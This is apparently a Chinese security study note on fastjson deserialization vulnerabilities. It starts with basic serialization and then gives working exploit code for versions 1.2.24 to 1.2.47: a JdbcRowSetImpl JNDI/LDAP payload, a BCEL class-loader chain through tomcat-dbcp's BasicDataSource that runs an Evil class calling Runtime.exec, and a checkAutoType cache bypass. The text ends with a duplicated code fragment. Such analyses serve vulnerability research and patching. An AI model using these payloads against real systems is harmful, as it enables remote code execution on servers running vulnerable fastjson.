fastjson反序列化漏洞分析
Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象。Fastjson 可以操作任何 Java 对象,即使是一些预先存在的没有源码的对象。该产品主要提供了两个接口,JSON.toJSONString和JSON.parseObject/JSON.parse分别实现序列化和反序列化。
1. Fastjson使用
- 新建一个maven项目,引入对应的依赖包
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
- 新建一个类
package org.example;
import java.io.Serializable;
public class Person{
private String name;
private int age;
private boolean sex;
public Person() {
System.out.println("执行构造函数方法");
}
public String getName() {
System.out.println("执行获取到name方法");
return name;
}
public void setName(String name) {
System.out.println("执行到setage方法");
this.name = name;
}
public int getAge() {
System.out.println("执行获取到age方法");
return age;
}
public void setAge(int age) {
System.out.println("执行setage方法");
this.age = age;
}
public boolean isSex() {
return sex;
}
public void setSex(boolean sex) {
System.out.println("执行到setSex方法");
this.sex = sex;
}
}
- json序列化
package org.example;
import com.alibaba.fastjson.JSON;
public class Main {
public static void main(String[] args) {
Person person = new Person();
person.setName("小明");
person.setAge(18);
person.setSex(false);
String jsonString = JSON.toJSONString(person);
System.out.println(jsonString);
}
}
//输出:{"age":18,"name":"小明","sex":false}
- 不使用
SerializerFeature.WriteClassName
:生成的 JSON 数据不包含类的全限定名。 - 使用
SerializerFeature.WriteClassName
:生成的 JSON 数据包含类的全限定名(以@type
字段表示)。
package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;
public class Main {
public static void main(String[] args) {
Person person = new Person();
person.setName("小明");
person.setAge(18);
person.setSex(false);
String jsonString = JSON.toJSONString(person, SerializerFeature.WriteClassName);
System.out.println(jsonString);
}
}
//输出:{"@type":"org.example.Person","age":18,"name":"小明","sex":false}
- 反序列化
在fastjson中,使用JSON.parseObject进行反序列化,及将JSON字符串转化为对象
使用:
package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
public class Main {
public static void main(String[] args) {
String json1 = "{\"age\":18,\"name\":\"小明\",\"sex\":false}";
JSONObject jsonObj = JSON.parseObject(json1); //将字符串解析为json对象
System.out.println(jsonObj.getString("age")); //获取age的值
}
}
反序列化为javaBean对象:
package org.example;
import com.alibaba.fastjson.JSON;
public class Main {
public static void main(String[] args) {
String json1 = "{\"age\":18,\"name\":\"小明\",\"sex\":false}";
Person json2 = JSON.parseObject(json1,Person.class);
System.out.println(json2);
}
}
//执行setage方法
//执行到setage方法
//执行到setSex方法
//org.example.Person@4ccabbaa
增加@type
属性指定其解析为特定类
package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
public class Main {
public static void main(String[] args) {
String json1 = "{\"@type\":\"org.example.Person\",\"age\":18,\"name\":\"小明\",\"sex\":false}";
JSONObject json2 = JSON.parseObject(json1);
System.out.println(json2.getString("age"));
}
}
//执行构造函数方法
//执行setage方法
//执行到setage方法
//执行到setSex方法
//执行获取到age方法
//执行获取到name方法
//18
fastjson反序列化漏洞1-流程分析_哔哩哔哩_bilibili
由于在进行反序列化的时候,会调用set方法,因此,当找到一个可以执行类的set方法,就可以构造恶意参数,执行代码
package org.example;
import java.io.IOException;
public class Test {
private String cmd;
public String getCmd() {
return cmd;
}
public void setCmd(String cmd) throws IOException {
this.cmd = cmd;
Runtime.getRuntime().exec(cmd);
}
}
package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
public class Main {
public static void main(String[] args) {
String json1 = "{\"@type\":\"org.example.Test\",\"cmd\":\"calc\"}";
JSONObject json2 = JSON.parseObject(json1);
System.out.println(json2);
}
}
2. fastjson1.2.24漏洞利用
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.47</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-dbcp</artifactId>
<version>9.0.20</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-core</artifactId>
<version>4.2.4.RELEASE</version>
</dependency>
fastjson反序列化与原生反序列化的不同点:
- fastjson反序列化不需要实现Serializable
- 变量有对应的setter或满足条件的getter(满足第二图的get方法)或者public属性,原生的变量不需要不是transient
- 原生的爆发点为readObject,fastjson是setter/getter
- 查找流程:先找到恶意类,然后找到getter、setter方法
按CTRL+N搜索jdbcRowSet
存在JNDI注入:
追踪getDataSourceName(),DataSourceName变量是可控的
因此,该链为
setAutoCommit--->connection()方法----->DataSourceNmer为恶意参数。
package org.example;
import com.alibaba.fastjson.JSON;
//TIP To <b>Run</b> code, press <shortcut actionId="Run"/> or
// click the <icon src="AllIcons.Actions.Execute"/> icon in the gutter.
public class Main {
public static void main(String[] args) {
String s = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:8085/hwgPemYJ\",\"autoCommit\":true}";
System.out.println(JSON.parseObject(s));
}
}
设置Yakit反连
fastjson利用jndi注入来远程加载恶意类的方法,如果机器在内网无法访问互联网那么这种方法就失败了并且受版本依赖限制。
在jdk中含有import com.sun.org.apache.bcel.internal.util.ClassLoader;`中,存在defineClass可以实现从字节码直接生成一个类。
正常使用如下:
恶意类:(使用需要使用同版本的java编译为.class文件)
package org.example;
import java.io.IOException;
import java.lang.Runtime;
import java.lang.Process;
public class Evil {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
package org.example;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import org.apache.tomcat.dbcp.dbcp2.BasicDataSource;
import org.springframework.util.FileCopyUtils;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import java.io.File;
import java.io.FileInputStream;
import java.io.InputStream;
public class Main {
public static void main(String[] args) throws Exception {
//不考虑fastjson情况就正常调用该类
ClassLoader classLoader = new ClassLoader();
byte[] bytes = convert(new File("D:\\Code\\javaCode\\Demo03\\src\\main\\java\\org\\example\\Evil.class"));
String code = Utility.encode(bytes, true);
classLoader.loadClass("$$BCEL$$"+code).newInstance();
}
//将文件转为字节码数组
public static byte[] convert(File file){
try {
InputStream fis = new FileInputStream(file);
byte[] bytes = FileCopyUtils.copyToByteArray(fis);
return bytes;
}catch (Exception ex){
throw new RuntimeException("transform file into bin Array 出错",ex);
}
}
}
接着考虑如何调用到classLoader.loadClass()
在BasicDataSource()中存在forname,可以控制类加载器,将其改为classLoader类加载器。
上下文查看有driverClassName、driverClassLoader对应的get/set方法,然后通过use查询,是否有调用createConnectionFactory方法,并实现get/set方法。
通过调用,当调用getConnection()时,实现调用
package org.example;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import org.apache.tomcat.dbcp.dbcp2.BasicDataSource;
import org.springframework.util.FileCopyUtils;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import java.io.File;
import java.io.FileInputStream;
import java.io.InputStream;
public class Main {
public static void main(String[] args) throws Exception {
//不考虑fastjson情况就正常调用该类
ClassLoader classLoader = new ClassLoader();
byte[] bytes = convert(new File("D:\\Code\\javaCode\\Demo03\\src\\main\\java\\org\\example\\Evil.class"));
String code = Utility.encode(bytes, true);
// classLoader.loadClass("$$BCEL$$"+code).newInstance();
BasicDataSource basicDataSource = new BasicDataSource();
basicDataSource.setDriverClassLoader(classLoader);
basicDataSource.setDriverClassName("$$BCEL$$"+code);
basicDataSource.getConnection();
}
//将文件转为字节码数组
public static byte[] convert(File file){
try {
InputStream fis = new FileInputStream(file);
byte[] bytes = FileCopyUtils.copyToByteArray(fis);
return bytes;
}catch (Exception ex){
throw new RuntimeException("出错",ex);
}
}
}
package org.example;
import com.alibaba.fastjson.JSON;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import org.apache.tomcat.dbcp.dbcp2.BasicDataSource;
import org.springframework.util.FileCopyUtils;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import java.io.File;
import java.io.FileInputStream;
import java.io.InputStream;
public class Main {
public static void main(String[] args) throws Exception {
byte[] bytes = convert(new File("D:\\Code\\javaCode\\Demo03\\src\\main\\java\\org\\example\\Evil.class"));
String code = Utility.encode(bytes, true);
String s = "{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"driverClassName\":\"$$BCEL$$"+code+"\",\"driverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}}";
JSON.parseObject(s);
}
//将文件转为字节码数组
public static byte[] convert(File file){
try {
InputStream fis = new FileInputStream(file);
byte[] bytes = FileCopyUtils.copyToByteArray(fis);
return bytes;
}catch (Exception ex){
throw new RuntimeException("transform file into bin Array 出错",ex);
}
}
}
3. fastjson反序列化漏洞<=1.2.47
fastjson1.2.24之后,为了修复这个漏洞,引入checkAutoType,首先进行类型检查,再返回类。
如果autoTypeSupport=true或者expectClass不是null,将进行黑白名单的判断。(白名单空的,黑名单可能造成危害的类)
不满足,然后从以下两个缓存去查找,如果可以控制缓存,则可以调用恶意类。
通过对mapping
use查找,当进行loadClass时,有将className放在mappings中(及如果之前加载之后,就不进行加载直接从mappings找)
对loadClass进行use查找,则在MiscCode中deserialze中调用了loadClass函数
在这里可以进行正常的加载,将其放入缓存里,如果提前将恶意类提前放进缓存里,则可绕过检查。
构造恶意类
package org.example;
import com.alibaba.fastjson.JSON;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import org.apache.tomcat.dbcp.dbcp2.BasicDataSource;
import org.springframework.util.FileCopyUtils;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import java.io.File;
import java.io.FileInputStream;
import java.io.InputStream;
public class Main {
public static void main(String[] args) throws Exception {
byte[] bytes = convert(new File("D:\\Code\\javaCode\\Demo03\\src\\main\\java\\org\\example\\Evil.class"));
String code = Utility.encode(bytes, true);
// 第一步将com.sun.rowset.JdbcRowSetImpl放入缓存。
String s = "{{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:8085/XBGdpMmR\",\"autoCommit\":true}}";
JSON.parseObject(s);
}
//将文件转为字节码数组
public static byte[] convert(File file){
try {
InputStream fis = new FileInputStream(file);
byte[] bytes = FileCopyUtils.copyToByteArray(fis);
return bytes;
}catch (Exception ex){
throw new RuntimeException("transform file into bin Array 出错",ex);
}
}
}
utoCommit":true}}";
JSON.parseObject(s);
}
//将文件转为字节码数组
public static byte[] convert(File file){
try {
InputStream fis = new FileInputStream(file);
byte[] bytes = FileCopyUtils.copyToByteArray(fis);
return bytes;
}catch (Exception ex){
throw new RuntimeException("transform file into bin Array 出错",ex);
}
}
}